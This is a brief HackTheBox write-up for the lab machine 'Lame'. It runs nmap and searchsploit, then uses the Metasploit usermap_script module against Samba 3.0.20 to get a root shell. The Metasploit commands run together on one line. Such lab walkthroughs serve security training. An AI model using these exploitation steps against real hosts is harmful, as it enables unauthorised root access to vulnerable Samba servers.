Lame Writeup
Lame
Easy
Linux
Lame
Lame is one of the first machines on HackTheBox. It is a beginner-friendly Linux machine that requires exploiting a known vulnerability in Samba.
Recon
Running Nmap:
nmap -sC -sV -oA nmap/lame 10.10.10.3
We see port 445/tcp open (Samba 3.0.20-Debian).
Exploitation
Searching for exploits:
searchsploit samba 3.0.20
We find Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit).
Using Metasploit:
use exploit/multi/samba/usermap_scriptset RHOSTS 10.10.10.3exploit
And we get a root shell!